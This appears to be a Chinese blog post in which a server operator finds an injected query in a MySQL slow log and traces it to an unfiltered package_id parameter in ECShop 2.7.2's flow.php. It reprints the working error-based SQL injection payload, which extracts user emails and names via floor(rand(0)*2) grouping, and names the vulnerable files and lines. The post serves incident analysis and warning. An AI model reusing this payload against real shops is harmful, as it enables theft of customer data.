Ecshop的问题

在看一台服务器的SQL-Slow日志,看到了如下的一纪录,惊出了一身冷汗!

SELECT pg.package_id, pg.goods_id, pg.goods_number,
        pg.admin_id, g.goods_sn, g.goods_name, g.market_price, g.goods_thumb, g.is_real,
        IFNULL(mp.user_price, g.shop_price * '1') AS rank_price
FROM `ecs_`.`ecs_package_goods` AS pg
        LEFT JOIN `ecs_venusveil`.`ecs_goods` AS g ON g.goods_id = pg.goods_id
        LEFT JOIN `ecs_venusveil`.`ecs_member_price` AS mp ON mp.goods_id = g.goods_id AND mp.user_rank = '0'
WHERE pg.package_id = -1
union all
        select 1,2,3,4,5,6,7,8,count(*),concat(
                (Select concat(0x5b,email,0x3a,user_name,0x5d)
                        FROM ecs_users
                        LIMIT 9456,1), floor(rand(0)*2))x
         from information_schema.tables
         group by x
ORDER BY pg.package_id, pg.goods_id;


不知看懂没有,反正这句SQL是解释不通的。由于网站跑在ECshop2.7.2的环境之上,问题肯定来自代码缺陷。之前似乎有发过ECShop的牢骚,作为一个商业软件,而且是做交易平台的商业软件,竟然如此不专业种种的操作。特地浏览了一下代码,发觉代码里面的更加经典!几乎没有对任何变量进行校验和过滤!

由于程序不是我开发的,无法追溯源。只能根据日志进行反查,找到了根基

  1. flow.php中2157行中json来源可由客户端定义,导致2182行$package->package_id不可控。
  2. include/lib_order.php中对include/lib_common.php 的function get_package_info($id)可以植入SQL
  3. 畸形SQL导致Mysql返回空信息
  4. 攻击者获得无限量优惠包,仅此而已。

无话可说!引以为戒吧!

“Ecshop的问题”的2个回复

sender进行回复 取消回复

电子邮件地址不会被公开。 必填项已用*标注

请补全下列算式: *

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据